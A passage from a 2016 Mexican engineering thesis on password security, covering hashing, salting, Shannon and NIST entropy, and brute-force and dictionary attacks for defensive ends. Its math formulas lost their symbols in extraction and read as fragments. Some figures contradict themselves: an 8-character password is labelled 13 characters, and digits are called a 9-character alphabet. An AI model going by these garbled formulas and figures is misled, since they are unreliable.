Post on 08-May-2023
INSTITUTO POLITÉCNICO NACIONAL
ESCUELA SUPERIOR DE INGENIERÍAMECANICA Y ELÉCTRICA
ANÁLISIS Y DISEÑO DE ESTRATEGIASPARA INCREMENTAR
LA SEGURIDAD DE LAS CONTRASEÑAS.
T E S I S
QUE PARA OBTENER EL TÍTULO DEINGENIERO EN COMUNICACIONES Y ELECTRÓNICA
P R E S E N T A N
GONZÁLEZ AMBRIZ SERGIOJULIÁN BOLAÑOS ALEJANDRO
ASESORES:
DRA. LIL MARÍA RODRÍGUEZ HENRÍQUEZ.DRA. NARELI CRUZ CORTÉS.
M.C. JUAN FRANCISCO NOVOA COLÍN.
CIUDAD DE MÉXICO., 2016.
AGRADECIMIENTOS
I
AGRADECIMIENTOS.
Agradecemos al IPN el apoyo dado a través del proyecto SIP 20160314.
Agradecemos al CONACYT el apoyo dado a través del proyecto 180421.
Alejandro:
Agradezco a mis padres por permitirme llevar a cabo todos mis sueños e
impulsarme para lograrlos.
Quiero agradecer a mis asesoras, Dra. Lil y Dra. Nareli, por sus conocimientos
invaluables que me brindaron para llevar a cabo este proyecto, y sobretodo su gran
paciencia para esperar a que este trabajo pudiera llegar a su fin. ¡Muchas gracias!
Sergio:
Les gradezco a mis padres Reyna Ambriz Cervantes y Eliseo González Chávez, por
haberme alentando en todos esos momentos de altibajos y si no fueran por sus
esfuerzos, habría sido aún más difícil este sueño tan anhelado.
A mi hermana Fabiola González Ambriz, que en cada oportunidad motivó mi
educación con consejos y su vasta experiencia.
A mi querida Madelin Montserrat Sierra Ramírez, quien compartió varios
momentos a mi lado apoyándome en cada uno de estos.
A mi familia que siempre estuvo presente, por toda esa sabiduría que fui
adquiriendo de ellos.
A mis asesoras Dra. Lil María Rodríguez H y Dra. Nareli Cruz C, como a todos mis
profesores durante mi carrera, que de su palabra logré abrir un mundo de
posibilidades y a quienes agradezco por todo su apoyo en este trabajo.
DEDICACIONES
II
DEDICACIONES.
Alejandro:
Dedico este proyecto a mis padres, Librada Bolaños Santiago y Ciriaco Julián
Vásquez, quienes sin escatimar esfuerzo alguno han sacrificado gran parte de su
vida, que me han formado y educado. A quienes nunca podré pagar con las
riquezas más grandes del mundo. A ellos los seres universalmente más queridos
sinceramente gracias.
¡Los amo!
A mi hermana Karina Julián Bolaños, por estar conmigo y apoyarme siempre, ¡Te
quiero mucho!.
Sergio:
El trabajo presente se lo dedico a mi amada familia por haber impulsado mis
deseos de aprender y por alentar a concluir cualquier objetivo que se me presentó
en el trayecto de mi vida.
ÍNDICE TEMÁTICO
III
ÍNDICE TEMÁTICO.
AGRADECIMIENTOS._________________________________________________ I
DEDICACIONES. _____________________________________________________II
ÍNDICE TEMÁTICO. _________________________________________________III
ÍNDICE DE FIGURAS. ________________________________________________ VI
ÍNDICE DE TABLAS. ________________________________________________ VII
INTRODUCCIÓN. ___________________________________________________- 1 -
OBJETIVOS.________________________________________________________- 3 -
Objetivo general.____________________________________________________- 3 -
Objetivos específicos. ________________________________________________- 3 -
JUSTIFICACIÓN. ___________________________________________________- 4 -
CAPÍTULO 1. MARCO TEÓRICO. ____________________________________- 5 -
1.1 Seguridad. ______________________________________________________- 5 -
1.1.1. Servicios de seguridad. _________________________________________- 5 -
1.2. Criptología. ____________________________________________________- 7 -
1.2.1. Funciones Picadillo. ___________________________________________- 8 -
1.2.2. Salt en funciones picadillo._____________________________________- 12 -
1.3. Entropía de la Información. _______________________________________- 15 -
1.3.1. Entropía como medida de fortaleza de las contraseñas. _______________- 17 -
1.3.2. Propuestas del NIST (Instituto Nacional de Normas y Tecnología). _____- 18 -
1.4. Tipos de ataques. _______________________________________________- 19 -
1.4.1. Ataque de fuerza bruta. ________________________________________- 20 -
1.4.2. Ataque de diccionario. ________________________________________- 20 -
1.4.3. Tablas arcoíris (Rainbow). _____________________________________- 22 -
1.5. Vulnerabilidades en un sistema web. ________________________________- 24 -
1.5.1. XSS (Cross Site Scripting)._____________________________________- 25 -
1.6 Medidas para evitar ataques informáticos. ____________________________- 25 -
1.6.1. CAPTCHA._________________________________________________- 25 -
1.6.2. Restringir el número de intentos de inicio sesión. ___________________- 26 -
1.6.3. Medidores de fortaleza de las contraseñas._________________________- 27 -
ÍNDICE TEMÁTICO
IV
CAPITULO 2. DESARROLLO DEL PROYECTO._______________________ - 31 -
2.1. Tor (red de anonimato).__________________________________________- 31 -
2.1.1 Vidalia (Complemento de Tor). __________________________________- 32 -
2.2. Proxy ________________________________________________________ - 33 -
2.3. ¿Qué es un bot? ________________________________________________ - 33 -
2.4. Autoit.________________________________________________________ - 34 -
2.5. Certificado digital. ______________________________________________- 34 -
2.5.1. OpenSSL. __________________________________________________ - 35 -
2.5.2. Estándar x.509 para certificados. _________________________________- 35 -
2.6. Manejo de contraseñas en sistemas operativos.________________________ - 37 -
2.6.1 WINDOWS _________________________________________________ - 37 -
2.6.2. SHADOW__________________________________________________ - 37 -
2.7. Análisis de seguridad a un sistema web. _____________________________ - 38 -
2.8. Análisis del manejo de contraseñas en Windows. ______________________ - 44 -
CAPITULO 3. RESULTADOS PRÁCTICOS. ___________________________ - 46 -
3.1 Ataque en línea._________________________________________________ - 46 -
3.2. Ataque fuera de línea. ___________________________________________- 47 -
Conclusiones. _____________________________________________________ - 48 -
Marco de referencia para mejorar las contraseñas. _____________________ - 50 -
Trabajo futuro. _____________________________________________________ - 52 -
Referencias bibliográficas. ____________________________________________- 53 -
APÉNDICE "A" ___________________________________________________ - 57 -
APÉNDICE "B"____________________________________________________ - 65 -
APÉNDICE "C" ___________________________________________________ - 67 -
ÍNDICE DE FIGURAS
V
ÍNDICE DE FIGURAS.
Figura 1.1. Criptografía y su relación con otras ciencias._________________________- 7 -
Figura 1.2. Esquema convencional de una función picadillo. _____________________- 9 -
Figura 1.3. Digesto para la comprobación de Software descargable._______________- 10 -
Figura 1.4. Esquema de documento firmado digitalmente. ______________________ - 11 -
Figura 1.5. Esquema de establecimiento de contraseña y validación de usuarios._____- 12 -
Figura 1.6. Esquema de establecimiento de contraseña usando Salt. _______________- 14 -
Figura 1.7. Esquema de validación de contraseña usando Salt. ___________________- 15 -
Figura 1.8. Ejemplo de cálculo, de la entropía del NIST.________________________- 19 -
Figura 1.9. Ejemplos de CAPTCHA. _______________________________________- 26 -
Figura 1.10. Medidor de contraseña del sitio grc. _____________________________- 28 -
Figura 1.11. Medidor de contraseñas del sitio “passwordmeter”. _________________- 29 -
Figura 2.1. Muestra el funcionamiento de la red Tor.___________________________- 32 -
Figura 2.2. Muestra el funcionamiento de un proxy. ___________________________- 33 -
Figura 2.3. Formato de los certificados X.509 v3. _____________________________- 35 -
Figura 2.4. Muestra algunos campos de un certificado digital. ___________________- 38 -
Figura 2.5. Muestra el diagrama de flujo de procesos del programa de análisis de
certificados.___________________________________________________________- 39 -
Figura 2.6. Base de datos en claro utilizada.__________________________________- 40 -
Figura 2.7. Muestra el flujo de procesos del bot creado. ________________________- 42 -
Figura 2.8. Diagrama de secuencia. ________________________________________- 43 -
Figura 3.1. Porcentaje de contraseñas recuperadas mediante el ataque de diccionario _- 46 -
Figura 3.2. Porcentaje de contraseñas recuperadas mediante ataque de fuerza bruta. __- 47 -
ÍNDICE DE TABLAS
VI
ÍNDICE DE TABLAS.
Tabla 1.1. Muestra palabras que debe contener un diccionario personalizado. _______- 21 -
Tabla 1.2. Ejemplo de tabla arcoíris.________________________________________- 22 -
Tabla 1.3. Comparativa generación de Tablas arcoíris MD5._____________________- 23 -
Tabla 2.1. Muestra tipos de contraseñas generadas. ____________________________- 44 -
Tabla 2.2. Muestra configuración de la herramienta. ___________________________- 45 -
Tabla 3.1. Muestra tiempo de recuperación de las contraseñas generadas.___________- 47 -
INTRODUCCIÓN
- 1 -
INTRODUCCIÓN.La seguridad en la información es una piedra angular para las aplicaciones informáticas,
ya que la mayoría gestiona datos sensibles y confidenciales. Si esta información es
comprometida se corren riesgos como divulgación, modificación o eliminación no
autorizada. Una de las ciencias dedicadas a evitar que entidades maliciosas ataquen a
los sistemas informáticos es la Criptografía, la cual brinda servicios como privacidad,
integridad, control de acceso, autenticación, entre otros. En esta investigación nos
enfocaremos en este último servicio de seguridad. La autenticación determina si una
entidad es quien dice ser. Esto puede llevarse a cabo, de acuerdo a la siguiente
clasificación: a) comprobar algo que se tiene, e.g. autentificar a un usuario mediante una
credencial, b) comprobar algo que se es, e.g. técnicas biométricas (huella digital, lectura
de iris) y c) comprobar algo que se sabe, e.g. usuario/contraseña, es decir, se basa en
una prueba de conocimiento que en principio sólo puede ser resuelta por el usuario que
estableció la contraseña. Para poder autentificar a un usuario mediante su contraseña se
requiere que ésta sea almacenada, o bien, el resultado de una función aplicada a ella,
por ejemplo mediante la función picadillo.
Una función picadillo es aquella que recibe a la entrada una cadena de longitud arbitraria
y las relaciona a cadenas de longitud fija, su salida es conocida como digesto. El servicio
de autenticación hace uso de este tipo de función al generar un digesto para cada una
de las contraseñas que establecen los usuarios, estos digestos serán almacenados en
lugar de la contraseña en claro, el almacenamiento se realiza por medio de un archivo
del sistema operativo o en una base de datos. Cuando el usuario desea ingresar
nuevamente al sistema debe introducir su contraseña, el digesto es nuevamente
calculado, si éste coincide con el que se almacenó previamente se le permite el ingreso,
caso contrario el acceso denegado.
El uso de esta estrategia trae consigo algunos tipos de ataques1, se sabe que los
sistemas resguardan los digestos relacionados con las contraseñas del usuario, por lo
que es necesario analizar qué tipos de estrategias podría aplicar un oponente para
quebrantarlas a partir de dicha información.
1ATAQUE: Se define como "intentar destruir, exponer, alterar, inutilizar, robar u obtener acceso no autorizado de unactivo.; activo se define como "cualquier cosa que tenga valor para una organización".
INTRODUCCIÓN
- 2 -
Existe una gran variedad de ataques informáticos destinados a vulnerar contraseñas
ejemplo de ello son los siguientes: ataque de fuerza bruta, ataques de diccionario,
phishing, sniffer, entre otros. Esta investigación se centra en los dos primeros.
Un ataque de fuerza bruta, consiste en recuperar una contraseña probando
absolutamente todas las combinaciones posibles hasta encontrar la correcta, su principal
desventaja es el costo computacional que implica.
El ataque de diccionario consiste en formular contraseñas candidato basados en palabras
existentes en un diccionario (genérico) o en algunos casos en un diccionario específico,
que se origina en base a la información disponible del usuario.
Para implementar este ataque se utilizan un conjunto de tablas conocidas como Arcoíris
(Rainbow). Estas tablas almacenan digestos pre-calculados de contraseñas candidato
(las más populares) la construcción de estas tablas se realiza fuera de línea. En una
segunda etapa y bajo el supuesto que la entidad maliciosa tenga acceso al archivo que
contiene los digestos del sistema, se hace una búsqueda sobre la tabla hasta que haya
una coincidencia.
Existe una gran variedad de herramientas que permiten implementar este tipo de
ataques, ejemplo de ello son Jhon the Ripper, Ophcrack THC-Hydra y Cain y Abel, para
vulnerar las contraseñas de sistemas operativos como Mac OS X, Linux y Windows. En
este trabajo se estudiará las diferentes políticas sobre la generación de contraseñas y el
comportamiento del usuario, con el fin de establecer recomendaciones para incrementar
su fortaleza.
Este documento está dividido en 3 capítulos, en el primer capítulo se describen conceptos
como seguridad y sus servicios, criptología, criptografía de la llave simétrica, criptografía
de la llave asimétrica, funciones picadillo, entropía de la información entre otros. En el
capítulo 2 se explica el análisis de seguridad a un sistema web y se describe la
metodología del análisis del manejo de contraseñas en Windows. En el capítulo 3 se
muestran los resultados obtenidos. Por último se discuten las conclusiones a las que se
llegó al finalizar este trabajo y se propone un marco de referencia para mejorar las
contraseñas.
OBJETIVOS
- 3 -
OBJETIVOS.
Objetivo general.Proponer nuevas políticas que aporten un marco de referencia para que los usuarios
establezcan contraseñas con mayor fortaleza. Este marco de referencia busca
establecer soluciones a los ataques dentro de los sistemas.
Objetivos específicos. Identificar vulnerabilidades de las contraseñas que existen en un equipo de
cómputo (ataque fuera de línea) y en un sistema web (ataque en línea).
Elaborar políticas y acciones para mejorar contraseñas seguras.
Orientar sobre medidas de prevención de ataques de diccionario.
JUSTIFICACIÓN
- 4 -
JUSTIFICACIÓN.
Las organizaciones, empresas, universidades, etc., buscan tener la mayor
seguridad en la entrada de sus sistemas, por lo general esto se logra al establecer
un usuario y contraseña. Las contraseñas son el mecanismo de autenticación más
utilizado, por ello existe un gran interés en poder medir su fortaleza, la métrica
clásica utilizada para ello, es la Entropía. Además se han propuesto políticas con el
fin de incrementar su seguridad (longitud de caracteres mínima, utilizar caracteres
especiales, alternar dígitos y letras, etc.). Sin embargo, en la actualidad múltiples
sistemas son vulnerados, al explotar la previsibilidad de las contraseñas. El conocer
los factores que le facilitan a un atacante el vulnerar la contraseña, permitiría
establecer políticas sobre la estructura que deben seguir las mismas. Esta
investigación está enfocada al análisis de estrategias para elaborar contraseñas
seguras, por medio de un análisis teórico-práctico se identificarán los errores más
comunes que comete el usuario en la elaboración de las mismas. Además se
analizan políticas que algunas instituciones adoptan en procesos y directivas que
generan vulnerabilidades.
Debido a la importancia que han tomado las contraseñas en nuestra vida cotidiana,
se pretende que esta investigación sirva como medio para establecer un marco de
referencia con la finalidad de elaborar políticas que incrementen la fortaleza de
éstas.
CAPÍTULO 1. MARCO TEÓRICO
- 5 -
CAPÍTULO 1. MARCO TEÓRICO.1.1 Seguridad.
La seguridad informática es un área de investigación que busca proteger
información sensible y los equipos en la que ésta reside (computadora personal,
servidor, etc.). Su objetivo principal es evitar que los sistemas de cómputo sean
comprometidos por deficiencias que pueden radicar en su diseño y/o arquitectura,
tomando en cuenta, factores humanos, tecnológicos y físicos. Un sistema es un
conjunto de elementos interrelacionados por medio de software y/o hardware
diseñado para efectuar tareas con un fin específico. En la siguiente sección se
describen los servicios de seguridad que pueden ser requeridos por los sistemas de
cómputo.
1.1.1. Servicios de seguridad.
Un servicio de seguridad tiene una meta específica e intenta mejorar en la medida
de lo posible (recordando que no existen los sistemas absolutamente seguros) la
seguridad de un sistema de información dentro de la organización.
La clasificación más utilizada de los servicios de seguridad es la siguiente [1]:
1. Confidencialidad: es un servicio que garantiza mantener la información
secreta de todos, excepto de aquellos autorizados para verla. Existen
numerosos métodos para proporcionar confidencialidad, que van desde la
protección física a los algoritmos matemáticos y que hacen que los datos
sean incognoscibles.
2. Integridad de los datos: Asegura que la información no ha sido modificada
por entidades no autorizadas. Para asegurar la integridad de los datos, hay
que tener la capacidad de detectar la manipulación de datos no autorizados.
La manipulación no autorizada incluye operaciones de inserción, eliminación
y sustitución.
CAPÍTULO 1. MARCO TEÓRICO
- 6 -
3. No repudio: Es un servicio que impide a una entidad negar compromisos o
acciones. Por ejemplo este servicio trata de evitar situaciones tales como que
una entidad autorice la compra de una propiedad y posteriormente quiera
negar que concedió dicha autorización.
4. Autenticación: Determina si una entidad es quien dice ser. Esta función se
aplica a las dos partes de una comunicación (emisor y receptor),
autenticándose el uno al otro.
Se puede evaluar tres aspectos para la autentificación [1]:
I. Sistemas basados en algo conocido (usuario/contraseña): Consiste en
decidir si un usuario es quien dice ser, simplemente basándonos en una
prueba de conocimiento y que no es más que una contraseña y usuario que
en principio es secreta.
II. Sistemas basados en algo que se posee como por ejemplo una tarjeta
inteligente: Desde un punto de vista formal, una tarjeta inteligente (o
smartcard) es un dispositivo de seguridad que ofrece funciones para un
almacenamiento seguro de información.
III. Sistemas basados en lo que el usuario es, es decir, aplicando técnicas
biométricas, basadas en: características físicas del usuario a identificar. El
reconocimiento de formas, la inteligencia artificial y el aprendizaje son las
ramas de la informática que desempeñan el papel más importante en este
tipo de sistemas.
Es importante destacar que esta investigación, está enfocada en el servicio de la
autentificación de entidades, específicamente sobre sistemas basados en algo
conocido (usuario/contraseña).
CAPÍTULO 1. MARCO TEÓRICO
- 7 -
1.2. Criptología.
La criptología del griego krypto: 'oculto' y logos: 'palabra', es el estudio de las
técnicas matemáticas relacionadas con aspectos de la seguridad de información.
La criptología se divide en dos ramas, criptografía y criptoanálisis [2].
La criptografía es un conjunto de técnicas que tratan sobre la protección de la
información [2]. Fue considerada un arte hasta que Shannon público en 1949 la
teoría de las comunicaciones secretas. Entonces la criptografía, empezó a ser
considerada una ciencia aplicada debido a su relación con otras ciencias, como la
estadística, la teoría de números, la teoría de información y la teoría de la
complejidad computacional.
Figura 1.1. Criptografía y su relación con otras ciencias.
La razón para ocultar el contenido de la información, es que existe desconfianza o
peligro de que el mensaje transmitido sea interceptado por un adversario, quien
utilizará todos los medios a su alcance (herramientas), para descifrar esos
mensajes. El conjunto de técnicas y métodos es conocido como criptoanálisis [2].
La Criptografía se divide en dos áreas: Criptografía simétrica y asimétrica.
CAPÍTULO 1. MARCO TEÓRICO
- 8 -
Criptografía de la llave simétrica.
Los criptosistemas basados en criptografía simétrica requieren que el remitente y el
destinatario compartan una llave, la cual, solamente ellos deben conocer. El
conocimiento de esta llave permite el decifrado del texto, de ahí la razón de que la
llave permanezca en secreto.
Criptografía de la llave asimétrica.
La criptografía de llave pública es asimétrica lo cual implica que existen dos llaves,
a diferencia de los algoritmos de llave simétrica en los cuales sólo existe una llave.
Los sistemas de llave pública requieren que cada usuario tenga un par de llaves:
una llave pública, Kpub( ) la cual puede darse a conocer por medio de una página
web, un certificado, etc. que sirve para cifrar un mensaje y una llave Kprv( ) la cual
es mantenida en secreto y sirve para decifrar el mensaje.
Existe una gran diversidad de primitivas criptográficas que permiten brindar los
servicios de seguridad discutidos en la sección 1.1.1, sin embargo nos enfocaremos
en las funciones picadillo ya que estas constituyen el bloque básico para el
almacenamiento de contraseñas.
1.2.1. Funciones Picadillo.
Una de las primitivas fundamentales en la criptografía moderna es la función hash
o también llamada función picadillo.
Una función picadillo es usada para construir una huella digital corta de algún
mensaje, si el mensaje es cambiado, la huella digital dejaría de ser válida. Por
ejemplo, si los datos se almacenan en un lugar inseguro, la integridad de los mismos
puede ser comprobada ocasionalmente recalculando la huella digital y verificando
que no haya cambiado [3].
CAPÍTULO 1. MARCO TEÓRICO
- 9 -
Sea una función hash y un mensaje expresado como una cadena binaria de
longitud arbitraria, la huella digital correspondiente es definida como = ( ),
es conocida como digesto, el cual podría ser igual a 160 bits. En la Figura 1.2 se
muestra el esquema de una función picadillo, donde sin importar el tamaño de bits
del mensaje de entrada (texto claro), el digesto obtenido siempre será de 160 bits.
Figura 1.2. Esquema convencional de una función picadillo.
Las propiedades matemáticas que son deseables para una función hash son las
siguientes:
La función ( ) debe ser fácil de calcular para cualquier x.
La función hash debe ser de un sólo sentido o dirección (sólo ida), es
decir, si se conoce ( ) encontrar x debe implicar calcular todos los x
posibles.
CAPÍTULO 1. MARCO TEÓRICO
- 10 -
La función hash debe ser resistente a las colisiones, es decir, no debe ser
posible (computacionalmente) encontrar y ′ tales que ( ) = ( ′).Las funciones picadillo pueden ser utilizadas en múltiples contextos, entre los que
se pueden mencionar: a) Verificación de la integridad de un archivo, b) Documentos
firmados digitalmente y c) Almacenamiento de contraseñas. En seguida se discuten
brevemente estas aplicaciones.
Verificación de la integridad de un archivo.
De manera eficiente podemos utilizar una función picadillo para poder verificar la
integridad de un archivo. Un ejemplo es cuando se descarga un software desde un
sistema web, ¿cómo saber si se ha recibido correctamente y que no ha sido
alterado?. Una manera de verificarlo, es descargar el archivo nuevamente y
comparar los bits, lamentablemente esto sería ineficiente. En cambio, si el sistema
web publica los valores del digesto del software que ofrece, puede comprobase si
no ha sufrido modificaciones pasando el contendido por una función picadillo, si el
digesto resultante es igual al publicado por el sistema web el software no ha sufrido
modificaciones, en la Figura 1.3 se muestran algunos digestos pertenecientes a
software específico [3].
Figura 1.3. Digesto para la comprobación de Software
descargable.
CAPÍTULO 1. MARCO TEÓRICO
- 11 -
Documentos firmados digitalmente.
Una firma digital da una solución viable para dar validez jurídica a documentos
electrónicos, similar al método de firma basado en papel y tinta. ¿Cómo se sabe
que la firma digital ha sido aplicada al documento electrónico?. El método de firma
digital consiste en crear un digesto de la información enviada y firmarlo con la llave
privada (del par de llaves de la criptografía asimétrica) para que cualquier persona
que tenga la llave pública correspondiente pueda verificar la autenticidad de la firma
y que el contenido del archivo es el original [3]. Este proceso se aprecia en la Figura
1.4.
Figura 1.4. Esquema de documento firmado digitalmente.
Almacenamiento de contraseñas.
Es una mala idea que los sistemas informáticos almacenen las contraseñas en texto
claro (en su forma original), ya que si una entidad maliciosa sabe dónde están
almacenadas y tiene acceso a ellas, implicaría que podría impersonar a los usuarios
reales.
CAPÍTULO 1. MARCO TEÓRICO
- 12 -
Almacenar el digesto de la contraseña en lugar de la misma, aumenta la seguridad ante
adversarios que pretenden vulnerarla. Dado que estos digestos no son reversibles, no
hay manera de saber con certeza qué contraseña produjo el digesto. Estos digestos serán
almacenados en lugar de la contraseña en claro, el almacenamiento se realiza por medio
de un archivo del sistema operativo o en una base de datos [3]. Cuando el usuario desea
ingresar nuevamente al sistema debe introducir su contraseña, el digesto es nuevamente
calculado, si éste coincide con el que se almacenó previamente se le permite el ingreso,
caso contrario se le impide el acceso como se muestra en la Figura 1.5.
Figura 1.5. Esquema de establecimiento de contraseña y validación de usuarios.
1.2.2. Salt en funciones picadillo.
Las tablas arcoíris funcionan en ataques informáticos debido a que cada contraseña es
calculada por una función picadillo exactamente de la misma manera. Si dos usuarios
tienen la misma contraseña, entonces sus digestos resultantes también serán idénticos.
CAPÍTULO 1. MARCO TEÓRICO
- 13 -
La manera de lograr que estos digestos sean diferentes, a pesar de tener las
mismas contraseñas, es agregar algún valor aleatorio a la contraseña antes de
pasarla por una función picadillo, de manera que los valores resultantes sean
diferentes entre ellos.
Este valor aleatorio se llama Salt y se le concatena a la contraseña al final o al
principio de la misma antes de pasarla por una función picadillo, dando como
resultado una cadena de caracteres completamente diferente a la contraseña
original.
El propósito de usar Salt en las contraseñas es simplemente modificar el valor
resultante (digesto) por un valor desconocido para el atacante. De esta manera, se
deja sin efecto las tablas de búsqueda o arcoíris ya existentes, ya que el adversario
no tendrá pre-calculadas las tablas de digestos, y tendrá que hacer una tabla para
cada una de las Salt´s posibles, algo que no es factible debido al incremento del
costo computacional.
Es recomendable generar una Salt diferente (aleatoria) para cada contraseña y
almacenarla para que se pueda verificar cada vez que se requiera.
Para hacer imposible a un atacante crear una tabla rainbow, la Salt debe ser larga.
Se recomienda usar una Salt de la misma longitud del resultado de la función hash.
Por ejemplo, un digesto de la función SHA256 es de 256 bits (32 bytes), entonces
la Salt debería ser de al menos 32 bytes aleatorios.
Creación de una contraseña con Salt.
Los pasos para generar una nueva contraseña con Salt son los siguientes:
1. Recibir la contraseña en texto claro desde el cliente.
2. Generar una Salt aleatoria para la contraseña.
3. Ejecutar la función hash con entrada «Salt + Contraseña».
4. Almacenar el digesto resultante junto a la Salt generada.
CAPÍTULO 1. MARCO TEÓRICO
- 14 -
En la figura 1.6 se muestran la creación de una contraseña, con los pasos
anteriormente mencionados.
Figura 1.6. Esquema de establecimiento de contraseña usando Salt.
Validación de una contraseña usando Salt.
Los pasos para validación de un usuario usando Salt son los siguientes:
1. Recibir la contraseña en texto claro desde el cliente.
2. Recuperar la Salt almacenada de la contraseña del cliente.
3. Ejecutar la función hash con entrada: «Salt-recuperada + Contraseña».
4. Comparar el resultado de la función hash con el digesto almacenado en el
repositorio de datos para ese usuario. Si los digestos coinciden, entonces se
permite el ingreso al sistema.
En la figura 1.7 se muestra el proceso de validación de un usuario, contemplando
los pasos anteriormente indicados.
CAPÍTULO 1. MARCO TEÓRICO
- 15 -
Figura 1.7. Esquema de validación de contraseña usando Salt.
1.3. Entropía de la Información.
Claude Shannon fue el primero en formalizar el concepto de entropía de la
información en su investigación llamada “Una teoría matemática de comunicación”
elaborada en 1948. La entropía mide la cantidad de información que es
desconocida, mediante la siguiente expresión:( ) = − ( ) [ ( )] = [ ] 1( )Donde es una variable discreta aleatoria, que toma valores de un conjunto finito
de , la probabilidad de ( [ ] ), corresponde a la probabilidad asociada al valor
y indica el logaritmo base 2. Cuando la base del logaritmo es base 2, la
unidad de información recibe el nombre de bit.La entropía es proporcional a la longitud media de los mensajes que se necesitaría
CAPÍTULO 1. MARCO TEÓRICO
- 16 -
para codificar una serie de valores de de manera óptima dado un alfabeto
cualquiera. Eso quiere decir que cuanto más probable sea un valor individual,
aportará menos información cuando aparezca y se podrá codificar empleando un
mensaje más corto. Si [ ] = 1 no necesitaríamos ningún mensaje, puesto que
sabemos de antemano que X va a tomar el valor de , mientras que si [ ] = 0.9parece más lógico emplear mensajes cortos para representar el suceso y largos
para los restantes, ya que el valor que más nos va a aparecer en una secuencia
de sucesos es precisamente .
Algunos ejemplos del cálculo de la entropía son los siguientes [4]:
La entropía de la variable aleatoria asociada al lanzar una moneda al aire es la
siguiente: ( ) = −(0.5 (0.5) + 0.5 (0.5) = 1Este suceso aporta exactamente una unidad de información (bit).
La entropía de la variable aleatoria asociada al lanzar una moneda al aire con truco
(60 % de probabilidades para cara, 40% para cruz), se denota de la siguiente
forma.
( ) = − 0.6 (0.6) + 0.4 (0.4) = 0.970Se tiene una fuente discreta que cuenta con cuatro símbolos, , , , con las
siguientes probabilidades: ( )=0.4, ( )=0.3, ( )=0.2 y ( )=0.1, la entropía
de se calcula con la formula mencionada anteriormente:
( ) = ( ) 1( )
CAPÍTULO 1. MARCO TEÓRICO
- 17 -
Al sustituir y calcular, la entropía queda de la siguiente forma:
( ) = ( ) 1( ) + ( ) 1( ) + ( ) 1( ) + ( ) 1( )( ) = (0.4) 1(0.4) + (0.3) 1(0.3) + (0.2) 1(0.2) + (0.1) 1(0.1)
( ) = .5287 + .5210 + .4643 + .3321( ) = 1.8641 /
Para este ejemplo, la entropía representa la cantidad de información propia
promedio que lleva cada símbolo emitido por la fuente de información. Se puede
decir que la entropía de una variable aleatoria es el número medio de bits que se
necesitan para codificar cada uno de los estados de la variable, suponiendo que se
exprese cada suceso empleando un mensaje escrito en un alfabeto binario.
1.3.1. Entropía como medida de fortaleza de las contraseñas.
La Entropía expresa la fortaleza de una contraseña en bits, ésta es calculada por
medio de la siguiente expresión: = ( )Donde N es el tamaño del alfabeto con el que se elaboró la contraseña y L es la
longitud.
Ejemplo:
Si se utilizan 64 caracteres diferentes para una contraseña de 13 caracteres, el
cálculo de entropía quedaría de la siguiente forma:
CAPÍTULO 1. MARCO TEÓRICO
- 18 -
Contraseña=alex123W
Alfabeto=(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,ñ,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C,
D,E,F,G,H,I,J,K,L,M,N,Ñ,O,P,Q,R,S,T,U,V,W,X,Y,Z).
N=64.
L=8(alex123W).
Sustituyendo: = (64 ) = 48Esto significa que se tiene 281474976710656 = 2 diferentes posibilidades de
hacer contraseñas de 8 caracteres y por lo tanto se tienen 48 bits de entropía
1.3.2. Propuestas del NIST (Instituto Nacional de Normas y Tecnología).
El NIST SP-800-63 (normas de autentificación electrónica) de acuerdo con W. Burr
et. al. [5], ha sido el documento más influyente en la formación de políticas de
creación y uso de las contraseñas además de ser la base de muchos gobiernos e
industrias privadas en la elaboración de políticas para incrementar la fortaleza de
las contraseñas. Las recomendaciones para elaborarlas, proporcionadas en este
documento, se basan en la entropía de la información. De acuerdo con el NIST [6],
para calcular la entropía se utilizan las siguientes reglas:
1.- La entropía del primer carácter es tomada como 4 bits.
2.- La entropía de los próximos 7 caracteres, es de 2 bits por carácter.
3.-Del noveno al vigésimo carácter, la entropía es de 1.5 bits por carácter.
4.-Del vigésimo primer carácter en adelante, la entropía es de 1 bit por carácter.
5.- Un “bonus” de 6 bits de entropía es asignado para una regla de composición que
exija tanto mayúsculas y caracteres no alfabéticos
6.- Una bonificación de hasta 6 bits de entropía se añade al verificar que la
contraseña no esté contenida dentro de un diccionario general.
CAPÍTULO 1. MARCO TEÓRICO
- 19 -
Para ejemplificar el uso de las reglas anteriores, considere una contraseña creada
en base a una política que exige 8 caracteres y por lo menos una letra mayúscula,
una minúscula y números que deben estar presentes. La puntuación de la entropía
manejada por el NIST sería calculada con un total de 24 bits de entropía como se
muestra en la siguiente figura:
Figura 1.8. Ejemplo de cálculo, de la entropía del NIST.
1.4. Tipos de ataques.
Un ataque es un intento deliberado (especialmente en el sentido de un método o
técnica) para evadir los servicios de seguridad y violar las políticas de un sistema.
Los ataques informáticos son una de las áreas más importantes dentro de la
seguridad de la información, el conocer a qué tipo de ataques es vulnerable un
sistema, permite poder protegerse de la manera más conveniente. Los ataques a
las contraseñas se pueden implementar de dos formas: En línea y Fuera de línea.
En línea: El enemigo sólo puede acceder al sistema para atacarlo por internet.
Fuera de línea: El atacante cuenta con el acceso a la información de los digestos
de manera previa, sin necesidad de recurrir a una conexión a internet.
CAPÍTULO 1. MARCO TEÓRICO
- 20 -
1.4.1. Ataque de fuerza bruta.
Un ataque de fuerza bruta se realiza para “adivinar” una contraseña tratando con
todas las combinaciones posibles de caracteres hasta encontrar aquella que sea la
correcta. Contraseñas que contengan sólo números, serán más fáciles de adivinar
por este método que aquellas que incluyen otros caracteres como por ejemplo letras
o caracteres especiales, debido a que el alfabeto con el cual se puede estructurar
la contraseña es reducido (9 caracteres).
Por ejemplo el NIP de una tarjeta que cuenta con 4 números, con un ataque de
fuerza bruta se tendrían que probar combinaciones que van desde el 0000 hasta
9999, en el transcurso se puede dar con la combinación correcta.
Lamentablemente los ataques de fuerza bruta son muy costosos
computacionalmente hablando, debido a que utilizan el método de prueba y error,
lo que genera una demanda mayor de procesamiento de datos.
1.4.2. Ataque de diccionario.
Un ataque de diccionario es una técnica para adivinar contraseñas en el que el
atacante intenta determinar la contraseña de un usuario probando sucesivamente
con palabras de un diccionario (probablemente una lista de contraseñas), con la
esperanza de que una de ellas sea la que utiliza el usuario. En la práctica, el
diccionario del atacante normalmente no se limita a palabras de un diccionario de
una lengua natural tradicional, pero pueden incluir una o más variaciones.
Los ataques de diccionario pueden ser exitosos en múltiples entornos debido a la
tendencia de los usuarios a tomar malas decisiones al elaborar su contraseña (por
